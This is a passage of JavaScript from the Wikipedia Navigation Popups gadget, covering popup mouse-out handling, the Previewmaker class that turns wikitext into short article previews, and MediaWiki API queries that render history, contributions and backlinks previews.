//console ('mouseOutWikiLink');
const a = this;
removeModifierKeyHandler(a);
if (a.navpopup === null || typeof a.navpopup === 'undefined') {
return;
}
if (!a.navpopup.isVisible()) {
a.navpopup.banish();
return;
}
restoreTitle(a);
Navpopup.tracker.addHook(posCheckerHook(a.navpopup));
}
function posCheckerHook(navpop) {
return function () {
if (!navpop.isVisible()) {
return true; /* remove this hook */
}
if (Navpopup.tracker.dirty) {
return false;
}
const x = Navpopup.tracker.x,
y = Navpopup.tracker.y;
const mouseOverNavpop =
navpop.isWithin(x, y, navpop.fuzz, navpop.mainDiv) ||
!fuzzyCursorOffMenus(x, y, navpop.fuzz, navpop.mainDiv);
// FIXME it'd be prettier to do this internal to the Navpopup objects
let t = getValueOf('popupHideDelay');
if (t) {
t = t * 1000;
}
if (!t) {
if (!mouseOverNavpop) {
if (navpop.parentAnchor) {
restoreTitle(navpop.parentAnchor);
}
navpop.banish();
return true; /* remove this hook */
}
return false;
}
// we have a hide delay set
const d = Date.now();
if (!navpop.mouseLeavingTime) {
navpop.mouseLeavingTime = d;
return false;
}
if (mouseOverNavpop) {
navpop.mouseLeavingTime = null;
return false;
}
if (d - navpop.mouseLeavingTime > t) {
navpop.mouseLeavingTime = null;
navpop.banish();
return true; /* remove this hook */
}
return false;
};
}
function runStopPopupTimer(navpop) {
// at this point, we should have left the link but remain within the popup
// so we call this function again until we leave the popup.
if (!navpop.stopPopupTimer) {
navpop.stopPopupTimer = setInterval(posCheckerHook(navpop), 500);
navpop.addHook(
() => {
clearInterval(navpop.stopPopupTimer);
},
'hide',
'before'
);
}
}
// ENDFILE: mouseout.js
// STARTFILE: previewmaker.js
/**
* @file
* Defines the {@link Previewmaker} object, which generates short previews from wiki markup.
*/
/**
* Creates a new Previewmaker
*
* @constructor
* @class The Previewmaker class. Use an instance of this to generate short previews from Wikitext.
* @param {string} wikiText The Wikitext source of the page we wish to preview.
* @param {string} baseUrl The url we should prepend when creating relative urls.
* @param {Navpopup} owner The navpop associated to this preview generator
*/
function Previewmaker(wikiText, baseUrl, owner) {
/** The wikitext which is manipulated to generate the preview. */
this.originalData = wikiText;
this.baseUrl = baseUrl;
this.owner = owner;
this.maxCharacters = getValueOf('popupMaxPreviewCharacters');
this.maxSentences = getValueOf('popupMaxPreviewSentences');
this.setData();
}
Previewmaker.prototype.setData = function () {
const maxSize = Math.max(10000, 2 * this.maxCharacters);
this.data = this.originalData.substring(0, maxSize);
};
/**
* Remove HTML comments
*
* @private
*/
Previewmaker.prototype.killComments = function () {
// this also kills one trailing newline, eg [[diamyo]]
this.data = this.data.replace(
/^<!--[^$]*?-->\n|\n<!--[^$]*?-->(?=\n)|<!--[^$]*?-->/g,
''
);
};
/**
* @private
*/
Previewmaker.prototype.killDivs = function () {
// say goodbye, divs (can be nested, so use * not *?)
this.data = this.data.replace(/< *div[^>]* *>[\s\S]*?< *\/ *div *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killGalleries = function () {
this.data = this.data.replace(/< *gallery[^>]* *>[\s\S]*?< *\/ *gallery *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.kill = function (opening, closing, subopening, subclosing, repl) {
let oldk = this.data;
let k = this.killStuff(this.data, opening, closing, subopening, subclosing, repl);
while (k.length < oldk.length) {
oldk = k;
k = this.killStuff(k, opening, closing, subopening, subclosing, repl);
}
this.data = k;
};
/**
* @private
*/
Previewmaker.prototype.killStuff = function (
txt,
opening,
closing,
subopening,
subclosing,
repl
) {
const op = this.makeRegexp(opening);
const cl = this.makeRegexp(closing, '^');
const sb = subopening ? this.makeRegexp(subopening, '^') : null;
const sc = subclosing ? this.makeRegexp(subclosing, '^') : cl;
if (!op || !cl) {
alert('Navigation Popups error: op or cl is null! something is wrong.');
return;
}
if (!op.test(txt)) {
return txt;
}
let ret = '';
const opResult = op.exec(txt);
ret = txt.substring(0, opResult.index);
txt = txt.substring(opResult.index + opResult[0].length);
let depth = 1;
while (txt.length > 0) {
let removal = 0;
if (depth == 1 && cl.test(txt)) {
depth--;
removal = cl.exec(txt)[0].length;
} else if (depth > 1 && sc.test(txt)) {
depth--;
removal = sc.exec(txt)[0].length;
} else if (sb && sb.test(txt)) {
depth++;
removal = sb.exec(txt)[0].length;
}
if (!removal) {
removal = 1;
}
txt = txt.substring(removal);
if (depth === 0) {
break;
}
}
return ret + (repl || '') + txt;
};
/**
* @private
*/
Previewmaker.prototype.makeRegexp = function (x, prefix, suffix) {
prefix = prefix || '';
suffix = suffix || '';
let reStr = '';
let flags = '';
if (isString(x)) {
reStr = prefix + literalizeRegex(x) + suffix;
} else if (isRegExp(x)) {
let s = x.toString().substring(1);
const sp = s.split('/');
flags = sp[sp.length - 1];
sp[sp.length - 1] = '';
s = sp.join('/');
s = s.substring(0, s.length - 1);
reStr = prefix + s + suffix;
} else {
log('makeRegexp failed');
}
log('makeRegexp: got reStr=' + reStr + ', flags=' + flags);
return RegExp(reStr, flags);
};
/**
* @private
*/
Previewmaker.prototype.killBoxTemplates = function () {
// taxobox removal... in fact, there's a saudiprincebox_begin, so let's be more general
// also, have float_begin, ... float_end
this.kill(/[{][{][^{}\s|]*?(float|box)[_ ](begin|start)/i, /[}][}]\s*/, '{{');
// infoboxes etc
// from [[User:Zyxw/popups.js]]: kill frames too
this.kill(/[{][{][^{}\s|]*?(infobox|elementbox|frame)[_ ]/i, /[}][}]\s*/, '{{');
};
/**
* @private
*/
Previewmaker.prototype.killTemplates = function () {
this.kill('{{', '}}', '{', '}', ' ');
};
/**
* @private
*/
Previewmaker.prototype.killTables = function () {
// tables are bad, too
// this can be slow, but it's an inprovement over a browser hang
// torture test: [[Comparison_of_Intel_Central_Processing_Units]]
this.kill('{|', /[|]}\s*/, '{|');
this.kill(/<table.*?>/i, /<\/table.*?>/i, /<table.*?>/i);
// remove lines starting with a pipe for the hell of it (?)
this.data = this.data.replace(/^[|].*$/mg, '');
};
/**
* @private
*/
Previewmaker.prototype.killImages = function () {
const forbiddenNamespaceAliases = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != pg.nsImageId && _namespaceId != pg.nsCategoryId) {
return;
}
forbiddenNamespaceAliases.push(_localizedNamespaceLc.split(' ').join('[ _]')); //todo: escape regexp fragments!
});
// images and categories are a nono
this.kill(
RegExp('[[][[]\\s*(' + forbiddenNamespaceAliases.join('|') + ')\\s*:', 'i'),
/\]\]\s*/,
'[',
']'
);
};
/**
* @private
*/
Previewmaker.prototype.killHTML = function () {
// kill <ref ...>...</ref>
this.kill(/<ref\b[^/>]*?>/i, /<\/ref>/i);
// let's also delete entire lines starting with <. it's worth a try.
this.data = this.data.replace(/(^|\n) *<.*/g, '\n');
// and those pesky html tags, but not <nowiki> or <blockquote>
const splitted = this.data.parenSplit(/(<[\w\W]*?(?:>|$|(?=<)))/);
const len = splitted.length;
for (let i = 1; i < len; i = i + 2) {
switch (splitted[i]) {
case '<nowiki>':
case '</nowiki>':
case '<blockquote>':
case '</blockquote>':
break;
default:
splitted[i] = '';
}
}
this.data = splitted.join('');
};
/**
* @private
*/
Previewmaker.prototype.killChunks = function () {
// heuristics alert
// chunks of italic text? you crazy, man?
const italicChunkRegex = /((^|\n)\s*:*\s*''[^']([^']|'''|'[^']){20}(.|\n[^\n])*''[.!?\s]*\n)+/g;
// keep stuff separated, though, so stick in \n (fixes [[Union Jack]]?
this.data = this.data.replace(italicChunkRegex, '\n');
};
/**
* @private
*/
Previewmaker.prototype.mopup = function () {
// we simply *can't* be doing with horizontal rules right now
this.data = this.data.replace(/^-{4,}/mg, '');
// no indented lines
this.data = this.data.replace(/(^|\n) *:[^\n]*/g, '');
// replace __TOC__, __NOTOC__ and whatever else there is
// this'll probably do
this.data = this.data.replace(/^__[A-Z_]*__ *$/gmi, '');
};
/**
* @private
*/
Previewmaker.prototype.firstBit = function () {
// dont't be givin' me no subsequent paragraphs, you hear me?
/// first we "normalize" section headings, removing whitespace after, adding before
let d = this.data;
if (getValueOf('popupPreviewCutHeadings')) {
this.data = this.data.replace(/\s*(==+[^=]*==+)\s*/g, '\n\n$1 ');
/// then we want to get rid of paragraph breaks whose text ends badly
this.data = this.data.replace(/([:;]) *\n{2,}/g, '$1\n');
this.data = this.data.replace(/^[\s\n]*/, '');
const stuff = /^([^\n]|\n[^\n\s])*/.exec(this.data);
if (stuff) {
d = stuff[0];
}
if (!getValueOf('popupPreviewFirstParOnly')) {
d = this.data;
}
/// now put \n\n after sections so that bullets and numbered lists work
d = d.replace(/(==+[^=]*==+)\s*/g, '$1\n\n');
}
// Split sentences. Superfluous sentences are RIGHT OUT.
// note: exactly 1 set of parens here needed to make the slice work
d = d.parenSplit(/([!?.]+["']*\s)/g);
// leading space is bad, mmkay?
d[0] = d[0].replace(/^\s*/, '');
const notSentenceEnds = /([^.][a-z][.] *[a-z]|etc|sic|Dr|Mr|Mrs|Ms|St|no|op|cit|\[[^\]]*|\s[A-Zvclm])$/i;
d = this.fixSentenceEnds(d, notSentenceEnds);
this.fullLength = d.join('').length;
let n = this.maxSentences;
let dd = this.firstSentences(d, n);
do {
dd = this.firstSentences(d, n);
--n;
} while (dd.length > this.maxCharacters && n !== 0);
this.data = dd;
};
/**
* @private
*/
Previewmaker.prototype.fixSentenceEnds = function (strs, reg) {
// take an array of strings, strs
// join strs[i] to strs[i+1] & strs[i+2] if strs[i] matches regex reg
for (let i = 0; i < strs.length - 2; ++i) {
if (reg.test(strs[i])) {
const a = [];
for (let j = 0; j < strs.length; ++j) {
if (j < i) {
a[j] = strs[j];
}
if (j == i) {
a[i] = strs[i] + strs[i + 1] + strs[i + 2];
}
if (j > i + 2) {
a[j - 2] = strs[j];
}
}
return this.fixSentenceEnds(a, reg);
}
}
return strs;
};
/**
* @private
*/
Previewmaker.prototype.firstSentences = function (strs, howmany) {
const t = strs.slice(0, 2 * howmany);
return t.join('');
};
/**
* @private
*/
Previewmaker.prototype.killBadWhitespace = function () {
// also cleans up isolated '''', eg [[Suntory Sungoliath]]
this.data = this.data.replace(/^ *'+ *$/gm, '');
};
/**
* Runs the various methods to generate the preview.
* The preview is stored in the <code>html</html> field.
*
* @private
*/
Previewmaker.prototype.makePreview = function () {
if (
this.owner.article.namespaceId() != pg.nsTemplateId &&
this.owner.article.namespaceId() != pg.nsImageId
) {
this.killComments();
this.killDivs();
this.killGalleries();
this.killBoxTemplates();
if (getValueOf('popupPreviewKillTemplates')) {
this.killTemplates();
} else {
this.killMultilineTemplates();
}
this.killTables();
this.killImages();
this.killHTML();
this.killChunks();
this.mopup();
this.firstBit();
this.killBadWhitespace();
} else {
this.killHTML();
}
this.html = wiki2html(this.data, this.baseUrl); // needs livepreview
this.fixHTML();
this.stripLongTemplates();
};
/**
* @private
*/
Previewmaker.prototype.esWiki2HtmlPart = function (data) {
const reLinks = /(?:\[\[([^|\]]*)(?:\|([^|\]]*))*]]([a-z]*))/gi; //match a wikilink
reLinks.lastIndex = 0; //reset regex
let match;
let result = '';
let postfixIndex = 0;
while ((match = reLinks.exec(data))) {
//match all wikilinks
//FIXME: the way that link is built here isn't perfect. It is clickable, but popups preview won't recognize it in some cases.
result +=
pg.escapeQuotesHTML(data.substring(postfixIndex, match.index)) +
'<a href="' +
Insta.conf.paths.articles +
pg.escapeQuotesHTML(match[1]) +
'">' +
pg.escapeQuotesHTML((match[2] ? match[2] : match[1]) + match[3]) +
'</a>';
postfixIndex = reLinks.lastIndex;
}
//append the rest
result += pg.escapeQuotesHTML(data.substring(postfixIndex));
return result;
};
Previewmaker.prototype.editSummaryPreview = function () {
const reAes = /\/\* *(.*?) *\*\//g; //match the first section marker
reAes.lastIndex = 0; //reset regex
let match;
match = reAes.exec(this.data);
if (match) {
//we have a section link. Split it, process it, combine it.
const prefix = this.data.substring(0, match.index - 1);
const section = match[1];
const postfix = this.data.substring(reAes.lastIndex);
let start = "<span class='autocomment'>";
let end = '</span>';
if (prefix.length > 0) {
start = this.esWiki2HtmlPart(prefix) + ' ' + start + '- ';
}
if (postfix.length > 0) {
end = ': ' + end + this.esWiki2HtmlPart(postfix);
}
const t = new Title().fromURL(this.baseUrl);
t.anchorFromUtf(section);
const sectionLink =
Insta.conf.paths.articles +
pg.escapeQuotesHTML(t.toString(true)) +
'#' +
pg.escapeQuotesHTML(t.anchor);
return (
start + '<a href="' + sectionLink + '">→</a> ' + pg.escapeQuotesHTML(section) + end
);
}
//else there's no section link, htmlify the whole thing.
return this.esWiki2HtmlPart(this.data);
};
/** Test function for debugging preview problems one step at a time. */
/*eslint-disable */
function previewSteps(txt) {
try {
txt = txt || document.editform.wpTextbox1.value;
} catch (err) {
if (pg.cache.pages.length > 0) {
txt = pg.cache.pages[pg.cache.pages.length - 1].data;
} else {
alert('provide text or use an edit page');
}
}
txt = txt.substring(0, 10000);
var base = pg.wiki.articlebase + Title.fromURL(document.location.href).urlString();
var p = new Previewmaker(txt, base, pg.current.link.navpopup);
if (this.owner.article.namespaceId() != pg.nsTemplateId) {
p.killComments();
if (!confirm('done killComments(). Continue?\n---\n' + p.data)) {
return;
}
p.killDivs();
if (!confirm('done killDivs(). Continue?\n---\n' + p.data)) {
return;
}
p.killGalleries();
if (!confirm('done killGalleries(). Continue?\n---\n' + p.data)) {
return;
}
p.killBoxTemplates();
if (!confirm('done killBoxTemplates(). Continue?\n---\n' + p.data)) {
return;
}
if (getValueOf('popupPreviewKillTemplates')) {
p.killTemplates();
if (!confirm('done killTemplates(). Continue?\n---\n' + p.data)) {
return;
}
} else {
p.killMultilineTemplates();
if (!confirm('done killMultilineTemplates(). Continue?\n---\n' + p.data)) {
return;
}
}
p.killTables();
if (!confirm('done killTables(). Continue?\n---\n' + p.data)) {
return;
}
p.killImages();
if (!confirm('done killImages(). Continue?\n---\n' + p.data)) {
return;
}
p.killHTML();
if (!confirm('done killHTML(). Continue?\n---\n' + p.data)) {
return;
}
p.killChunks();
if (!confirm('done killChunks(). Continue?\n---\n' + p.data)) {
return;
}
p.mopup();
if (!confirm('done mopup(). Continue?\n---\n' + p.data)) {
return;
}
p.firstBit();
if (!confirm('done firstBit(). Continue?\n---\n' + p.data)) {
return;
}
p.killBadWhitespace();
if (!confirm('done killBadWhitespace(). Continue?\n---\n' + p.data)) {
return;
}
}
p.html = wiki2html(p.data, base); // needs livepreview
p.fixHTML();
if (!confirm('done fixHTML(). Continue?\n---\n' + p.html)) {
return;
}
p.stripLongTemplates();
if (!confirm('done stripLongTemplates(). Continue?\n---\n' + p.html)) {
return;
}
alert('finished preview - end result follows.\n---\n' + p.html);
}
/*eslint-enable */
/**
* Works around livepreview bugs.
*
* @private
*/
Previewmaker.prototype.fixHTML = function () {
if (!this.html) {
return;
}
let ret = this.html;
// fix question marks in wiki links
// maybe this'll break some stuff :-(
ret = ret.replace(
RegExp('(<a href="' + pg.wiki.articlePath + '/[^"]*)[?](.*?")', 'g'),
'$1%3F$2'
);
ret = ret.replace(
RegExp("(<a href='" + pg.wiki.articlePath + "/[^']*)[?](.*?')", 'g'),
'$1%3F$2'
);
// FIXME fix up % too
this.html = ret;
};
/**
* Generates the preview and displays it in the current popup.
*
* Does nothing if the generated preview is invalid or consists of whitespace only.
* Also activates wikilinks in the preview for subpopups if the popupSubpopups option is true.
*/
Previewmaker.prototype.showPreview = function () {
this.makePreview();
if (typeof this.html != typeof '') {
return;
}
if (/^\s*$/.test(this.html)) {
return;
}
setPopupHTML('<hr />', 'popupPrePreviewSep', this.owner.idNumber);
setPopupTipsAndHTML(this.html, 'popupPreview', this.owner.idNumber, {
owner: this.owner,
});
const more = this.fullLength > this.data.length ? this.moreLink() : '';
setPopupHTML(more, 'popupPreviewMore', this.owner.idNumber);
};
/**
* @private
*/
Previewmaker.prototype.moreLink = function () {
const a = document.createElement('a');
a.className = 'popupMoreLink';
a.innerHTML = popupString('more...');
const savedThis = this;
a.onclick = function () {
savedThis.maxCharacters += 2000;
savedThis.maxSentences += 20;
savedThis.setData();
savedThis.showPreview();
};
return a;
};
/**
* @private
*/
Previewmaker.prototype.stripLongTemplates = function () {
// operates on the HTML!
this.html = this.html.replace(
/^.{0,1000}[{][{][^}]*?(<(p|br)( \/)?>\s*){2,}([^{}]*?[}][}])?/gi,
''
);
this.html = this.html.split('\n').join(' '); // workaround for <pre> templates
this.html = this.html.replace(/[{][{][^}]*<pre>[^}]*[}][}]/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killMultilineTemplates = function () {
this.kill('{{{', '}}}');
this.kill(/\s*[{][{][^{}]*\n/, '}}', '{{');
};
// ENDFILE: previewmaker.js
// STARTFILE: querypreview.js
function loadAPIPreview(queryType, article, navpop) {
const art = new Title(article).urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
let htmlGenerator = function (/*a, d*/) {
alert('invalid html generator');
};
let usernameart = '';
switch (queryType) {
case 'history':
url +=
'titles=' + art + '&prop=revisions&rvlimit=' + getValueOf('popupHistoryPreviewLimit');
htmlGenerator = APIhistoryPreviewHTML;
break;
case 'category':
url += 'list=categorymembers&cmtitle=' + art;
htmlGenerator = APIcategoryPreviewHTML;
break;
case 'userinfo':
var username = new Title(article).userName();
usernameart = encodeURIComponent(username);
if (pg.re.ipUser.test(username)) {
url += 'list=blocks&bkprop=range|restrictions&bkip=' + usernameart;
} else {
url +=
'list=users|usercontribs&usprop=blockinfo|groups|editcount|registration|gender&ususers=' +
usernameart +
'&meta=globaluserinfo&guiprop=groups|unattached&guiuser=' +
usernameart +
'&uclimit=1&ucprop=timestamp&ucuser=' +
usernameart;
}
htmlGenerator = APIuserInfoPreviewHTML;
break;
case 'contribs':
usernameart = encodeURIComponent(new Title(article).userName());
url +=
'list=usercontribs&ucuser=' +
usernameart +
'&uclimit=' +
getValueOf('popupContribsPreviewLimit');
htmlGenerator = APIcontribsPreviewHTML;
break;
case 'imagepagepreview':
var trail = '';
if (getValueOf('popupImageLinks')) {
trail = '&list=imageusage&iutitle=' + art;
}
url += 'titles=' + art + '&prop=revisions|imageinfo&rvslots=main&rvprop=content' + trail;
htmlGenerator = APIimagepagePreviewHTML;
break;
case 'backlinks':
url += 'list=backlinks&bltitle=' + art;
htmlGenerator = APIbacklinksPreviewHTML;
break;
case 'revision':
if (article.oldid) {
url += 'revids=' + article.oldid;
} else {
url += 'titles=' + article.removeAnchor().urlString();
}
url +=
'&prop=revisions|pageprops|info|images|categories&meta=wikibase&rvslots=main&rvprop=ids|timestamp|flags|comment|user|content&cllimit=max&imlimit=max';
htmlGenerator = APIrevisionPreviewHTML;
break;
}
pendingNavpopTask(navpop);
const callback = function (d) {
log('callback of API functions was hit');
if (queryType === 'userinfo') {
// We need to do another API request
fetchUserGroupNames(d.data).then(() => {
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
});
return;
}
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_' + queryType + '_QUERY_DATA');
}
}
function linkList(list) {
list.sort((x, y) => x == y ? 0 : x < y ? -1 : 1);
const buf = [];
for (let i = 0; i < list.length; ++i) {
buf.push(
wikiLink({
article: new Title(list[i]),
text: list[i].split(' ').join(' '),
action: 'view',
})
);
}
return buf.join(', ');
}
function getTimeOffset() {
const tz = mw.user.options.get('timecorrection');
if (tz) {
if (tz.indexOf('|') > -1) {
// New format
return parseInt(tz.split('|')[1], 10);
}
}
return 0;
}
function getTimeZone() {
if (!pg.user.timeZone) {
const tz = mw.user.options.get('timecorrection');
pg.user.timeZone = 'UTC';
if (tz) {
const tzComponents = tz.split('|');
if (tzComponents.length === 3 && tzComponents[0] === 'ZoneInfo') {
pg.user.timeZone = tzComponents[2];
} else {
errlog('Unexpected timezone information: ' + tz);
}
}
}
return pg.user.timeZone;
}
/**
* Should we use an offset or can we use proper timezones
*/
function useTimeOffset() {
if (typeof Intl.DateTimeFormat.prototype.formatToParts === 'undefined') {
// IE 11
return true;
}
const tz = mw.user.options.get('timecorrection');
if (tz && tz.indexOf('ZoneInfo|') === -1) {
// System| Default system time, default for users who didn't configure timezone
// Offset| Manual defined offset by user
return true;
}
return false;
}
/**
* Array of locales for the purpose of javascript locale based formatting
* Filters down to those supported by the browser. Empty [] === System's default locale
*/
function getLocales() {
if (!pg.user.locales) {
let userLanguage = document.querySelector('html').getAttribute('lang'); // make sure we have HTML locale
if (getValueOf('popupLocale')) {
userLanguage = getValueOf('popupLocale');
} else if (userLanguage === 'en') {
// en.wp tends to treat this as international english / unspecified
// but we have more specific settings in user options
if (getMWDateFormat() === 'mdy') {
userLanguage = 'en-US';
} else {
userLanguage = 'en-GB';
}
}
pg.user.locales = Intl.DateTimeFormat.supportedLocalesOf([userLanguage, navigator.language]);
}
return pg.user.locales;
}
/**
* Retrieve configured MW date format for this user
* These can be
* default
* dmy: time, dmy
* mdy: time, mdy
* ymd: time, ymd
* dmyt: dmy, time
* dmyts: dmy, time + seconds
* ISO 8601: YYYY-MM-DDThh:mm:ss (local time)
*
* This isn't too useful for us, as JS doesn't have formatters to match these private specifiers
*/
function getMWDateFormat() {
return mw.user.options.get('date');
}
/**
* Creates a HTML table that's shown in the history and user-contribs popups.
*
* @param {Object[]} h - a list of revisions, returned from the API
* @param {boolean} reallyContribs - true only if we're displaying user contributions
*/
function editPreviewTable(article, h, reallyContribs) {
let html = ['<table>'];
let day = null;
let curart = article;
let page = null;
let makeFirstColumnLinks;
if (reallyContribs) {
// We're showing user contributions, so make (diff | hist) links
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&diff=prev' +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('diff') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&action=history">' +
popupString('hist') +
'</a>';
result += ')';
return result;
};
} else {
// It's a regular history page, so make (cur | last) links
const firstRevid = h[0].revid;
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=' +
firstRevid +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('cur') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=prev&oldid=' +
currentRevision.revid +
'">' +
popupString('last') +
'</a>';
result += ')';
return result;
};
}
for (let i = 0; i < h.length; ++i) {
if (reallyContribs) {
page = h[i].title;
curart = new Title(page);
}
const minor = h[i].minor ? '<b>m </b>' : '';
const editDate = new Date(h[i].timestamp);
let thisDay = formattedDate(editDate);
const thisTime = formattedTime(editDate);
if (thisDay == day) {
thisDay = '';
} else {
day = thisDay;
}
if (thisDay) {
html.push(
'<tr><td colspan=3><span class="popup_history_date">' + thisDay + '</span></td></tr>'
);
}
html.push('<tr class="popup_history_row_' + (i % 2 ? 'odd' : 'even') + '">');
html.push('<td>' + makeFirstColumnLinks(h[i]) + '</td>');
html.push(
'<td>' +
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&oldid=' +
h[i].revid +
'">' +
thisTime +
'</a></td>'
);
let col3url = '',
col3txt = '';
if (!reallyContribs) {
const user = h[i].user;
if (!h[i].userhidden) {
if (pg.re.ipUser.test(user)) {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':Contributions&target=' +
new Title(user).urlString();
} else {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(user).urlString();
}
col3txt = pg.escapeQuotesHTML(user);
} else {
col3url = getValueOf('popupRevDelUrl');
col3txt = pg.escapeQuotesHTML(popupString('revdel'));
}
} else {
col3url = pg.wiki.titlebase + curart.urlString();
col3txt = pg.escapeQuotesHTML(page);
}
html.push(
'<td>' +
(reallyContribs ? minor : '') +
'<a href="' +
col3url +
'">' +
col3txt +
'</a></td>'
);
let comment = '';
const c = h[i].comment || ( typeof h[i].slots !== 'undefined' ? h[i].slots.main.content : null );
if (c) {
comment = new Previewmaker(c, new Title(curart).toUrl()).editSummaryPreview();
} else if (h[i].commenthidden) {
comment = popupString('revdel');
}
html.push('<td>' + (!reallyContribs ? minor : '') + comment + '</td>');
html.push('</tr>');
html = [html.join('')];
}
html.push('</table>');
return html.join('');
}
function adjustDate(d, offset) {
// offset is in minutes
const o = offset * 60 * 1000;
return new Date(Number(d) + o);
}
/**
* This relies on the Date parser understanding en-US dates,
* which is pretty safe assumption, but not perfect.
*/
function convertTimeZone(date, timeZone) {
return new Date(date.toLocaleString('en-US', { timeZone: timeZone }));
}
function formattedDateTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
return formattedDate(date) + ' ' + formattedTime(date);
}
if (getMWDateFormat() === 'ISO 8601') {
const d2 = convertTimeZone(date, getTimeZone());
return (
map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-') +
'T' +
map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':')
);
}
const options = getValueOf('popupDateTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleString(getLocales(), options);
}
function formattedDate(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCFullYear(), d2.getUTCMonth() + 1, d2.getUTCDate()]).join('-');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-');
}
const options = getValueOf('popupDateFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleDateString(getLocales(), options);
}
function formattedTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCHours(), d2.getUTCMinutes(), d2.getUTCSeconds()]).join(':');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':');
}
const options = getValueOf('popupTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleTimeString(getLocales(), options);
}
// Get the proper groupnames for the technicalgroups
function fetchUserGroupNames(userinfoResponse) {
const queryObj = getJsObj(userinfoResponse).query;
const user = anyChild(queryObj.users);
const messages = [];
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
messages.push('group-' + groupName + '-member');
}
});
}
if (queryObj.globaluserinfo && queryObj.globaluserinfo.groups) {
queryObj.globaluserinfo.groups.forEach((groupName) => {
messages.push('group-' + groupName + '-member');
});
}
return getMwApi().loadMessagesIfMissing(messages);
}
function showAPIPreview(queryType, html, id, navpop, download) {
// DJ: done
let target = 'popupPreview';
completedNavpopTask(navpop);
switch (queryType) {
case 'imagelinks':
case 'category':
target = 'popupPostPreview';
break;
case 'userinfo':
target = 'popupUserData';
break;
case 'revision':
insertPreview(download);
return;
}
setPopupTipsAndHTML(html, target, id);
}
function APIrevisionPreviewHTML(article, download) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
if (page.missing) {
// TODO we need to fix this proper later on
download.owner = null;
return;
}
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (typeof content === 'string') {
download.data = content;
download.lastModified = new Date(page.revisions[0].timestamp);
}
if (page.pageprops.wikibase_item) {
download.wikibaseItem = page.pageprops.wikibase_item;
download.wikibaseRepo = jsObj.query.wikibase.repo.url.base +
jsObj.query.wikibase.repo.url.articlepath;
}
} catch (someError) {
return 'Revision preview failed :(';
}
}
function APIbacklinksPreviewHTML(article, download /*, navpop*/) {
try {
const jsObj = getJsObj(download.data);
const list = jsObj.query.backlinks;
let html = [];
if (!list) {
return popupString('No backlinks found');
}
for (let i = 0; i < list.length; i++) {
const t = new Title(list[i].title);
html.push(
'<a href="' + pg.wiki.titlebase + t.urlString() + '">' + t.toString().entify() + '</a>'
);
}
html = html.join(', ');
if (jsObj.continue && jsObj.continue.blcontinue) {
html += popupString(' and more');
}
return html;
} catch (someError) {
return 'backlinksPreviewHTML went wonky';
}
}
pg.fn.APIsharedImagePagePreviewHTML = function APIsharedImagePagePreviewHTML(obj) {
log('APIsharedImagePagePreviewHTML');
const popupid = obj.requestid;
if (obj.query && obj.query.pages) {
const page = anyChild(obj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (
typeof content === 'string' &&
pg &&
pg.current &&
pg.current.link &&
pg.current.link.navpopup
) {
/* Not entirely safe, but the best we can do */
const p = new Previewmaker(
content,
pg.current.link.navpopup.article,
pg.current.link.navpopup
);
p.makePreview();
setPopupHTML(p.html, 'popupSecondPreview', popupid);
}
}
};
function APIimagepagePreviewHTML(article, download, navpop) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
